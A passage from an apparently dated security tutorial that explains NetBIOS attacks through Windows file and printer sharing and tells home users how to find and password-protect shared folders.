At this point the hacker now has access to the TEMP directory of his victim.

Not a lot of time to gain access to your machine is it? How many of you had “File and Printer Sharing” turned on?

Ladies and Gentlemen: This is called a Netbios attack. If you are running a home network then the chances are you have file and printer sharing turned on. This may not be the case for all of you but I’m sure there is quite a number of you who probably do. If you are sharing resources please password protect the directories.

Any shared directory you have on your system within your network will have a hand holding the folder. Which looks like this.

You can check to find which folders are shared through Windows Explorer.
• Click On Start
• Scroll Up to Programs

At this point you will see a listing of all the different programs on your system.

Find Windows Explorer and look for any folders that look like the above picture.

Once you have found those folders password protect them.

Netbios is one of the older forms of system attacks that occur. It is usually overlooked because most systems are protected against it. Recently there has been an increase of Netbios Attacks.

Further on in this content we shall cover some prevention methods. For now I wish only to show you the potential security flaws.